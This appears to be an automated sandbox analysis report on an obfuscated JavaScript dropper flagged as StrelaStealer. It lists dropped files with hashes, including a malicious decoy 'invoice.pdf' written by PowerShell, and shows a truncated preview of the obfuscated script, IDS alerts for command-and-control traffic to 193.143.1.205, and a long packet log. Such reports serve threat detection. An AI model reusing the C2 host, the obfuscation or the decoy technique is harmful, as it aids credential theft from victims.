SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\e64d049a-ec1c-4b1c-a3d7-616b0ad1d43c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/IjZwYIGNPldpy6mlind9j2kvhsfFXpAXDgrFBU2/R07mWL07oXGZd:IZwZGP3mlind9i4ufFXpAXkrfUs0CWLk
MD5:	A666842799AFB7F0BC205F5F71405D1F
SHA1:	122B6B1F16FA8AFE062AD377C25178C4061124F8
SHA-256:	854126B1F4F22A4D6EF2C57EAB69A72F5B3A16769FAAA9C012F494AE6B1EE084
SHA-512:	4CB62AEA56C5AB2A73478E62D242DB872616BE8580C43E7A8A08533A64019F14C1C99E85E67B223A15D53A702D06318B462AD3C2099C215EA877F383F989364C
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18573), with CRLF line terminators
Entropy (8bit):	4.903038474824692
TrID:
File name:	13134167581645321294.js
File size:	21'928 bytes
MD5:	f58108f022537d81706e594a8fc3a8aa
SHA1:	aefe7ceebcdffd3d179bac5fcaf62a6198b66fec
SHA256:	eb966ce941711113c7f612a1480b34c315ba67fbfbc73221d8fe0408a00512fb
SHA512:	3a3cbb783b2df5965e2bbe27b8faeb49c4e134b1ccbb497dc028740187884a9d25df773b288134046fac7e61f7186816c19a7f0b104de983b658b54c98538022
SSDEEP:	384:Abn86IGZjUznxzihez0sIWWUldM20EL2FZzOyOHk6tQxzukC+kyeFoeI8OgR0Lv/:Oxmnxzihez0sIWWUldM20EL2FZzOyOHG
TLSH:	2CA2FFCDC94ACB96CFF809F0229C849733CA17D5ED690DDF482255D8AEF31AA89E1075
File Content Preview:	function wgrbxuo(){zfialjk=[1031,3079,5127,4103,2055,3072];var yxorzxy=this[yaekill+smajk+nkbpxfa+ctweue+pjsmzw+whcnauei+tpafdg+dqwme](this[wzxpcge+aiibo+yrljgbj+nkbpxfa+kkfbmzyi+yaekill+dqwme][vapeudun+nkbpxfa+pjsmzw+smajk+dqwme+pjsmzw+vchqsz+ucrabeqlr+o

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T06:04:48.274250+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T06:04:48.274250+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T06:04:50.937638+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:04:47.478430986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:47.483325005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:47.483417988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:47.487071037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:47.491832972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.274106026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.274132013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.274143934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.274250031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.274317026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.274329901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.274343014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.274353981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.274367094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.274378061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.274395943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.274395943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.274401903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.274406910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.274446011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.279031992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.316880941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.316893101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.316994905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.317043066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.317094088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.395839930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.395867109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.395879984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.395891905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.395905018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.395979881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.396023989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.396272898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.396285057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.396296978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.396306992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.396320105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.396348953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.396368027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.397020102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.397032022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.397051096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.397068024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.397075891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.397080898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.397120953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.397886992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.397898912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.397912979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.397923946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.397939920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.397954941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.406677008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.406691074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.406761885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.406790018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.406800985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.406824112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.438566923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.438580036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.438735962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.485522985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.485538006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.485681057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.517407894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.517424107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.517436028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.517498016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.517576933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.517582893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.517596960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.517601013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.517638922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.517793894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.517929077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.517940998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.517952919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.517965078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.517967939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.517996073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.518361092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.518389940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.518402100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.518440962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.518459082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.518703938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.518717051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.518723011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.518759012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.518769979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.518776894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.518780947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.518794060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.518812895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.519671917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.519684076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.519695997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.519706964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.519720078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.519733906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.519746065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.519784927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.519824982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.520493031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.520504951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.520517111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.520555019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.520565987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.520576954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.520581007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.520589113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.520603895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.520621061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.521511078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.521522045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.521528006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.521538019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.521549940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.521559954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.521573067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.521621943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.521648884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.522247076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.522267103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.522279024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.522304058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.575536966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.575558901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.575571060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.575584888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.575598955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.575611115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.575673103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.575730085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.607180119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.608854055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.639475107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.639497042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.639511108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.639523983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.639574051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.639594078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.639615059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.639627934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.639668941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.639668941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.639683962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.639729023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.639951944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.640012980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.640099049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.640110970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.640122890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.640141010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.640151024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.640177965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.640181065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.640212059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.640223026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.640254974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.640595913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.640609026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.640620947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.640633106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.640647888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.640659094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.640660048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.640672922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.640693903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.640722036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.641086102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.641099930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.641112089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.641123056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.641135931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.641146898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.641149044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.641160011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.641175032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.641192913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.641246080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.641258001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.641271114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.641282082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.641294003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.641295910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.641309977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.641345978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.641944885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.641968012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.641982079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.641993046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.642004967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.642016888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.642024994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.642030954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.642050982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.642092943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.642110109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.642123938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.642134905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.642136097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.642148972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.642193079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.642193079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.642849922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.642874002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.642893076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.642904997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.642915964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.642921925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.642927885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.642940044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.642955065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.642975092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.642977953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.642987013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.643013000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.643024921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.643035889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.643037081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.643060923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.643075943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.643719912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.643733978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.643739939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.643776894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.643778086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.643789053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.643801928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.643815994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.643840075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:04:48.643918037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:04:48.643929958 CET	80	49704	193.143.1.205	192.168.2.5
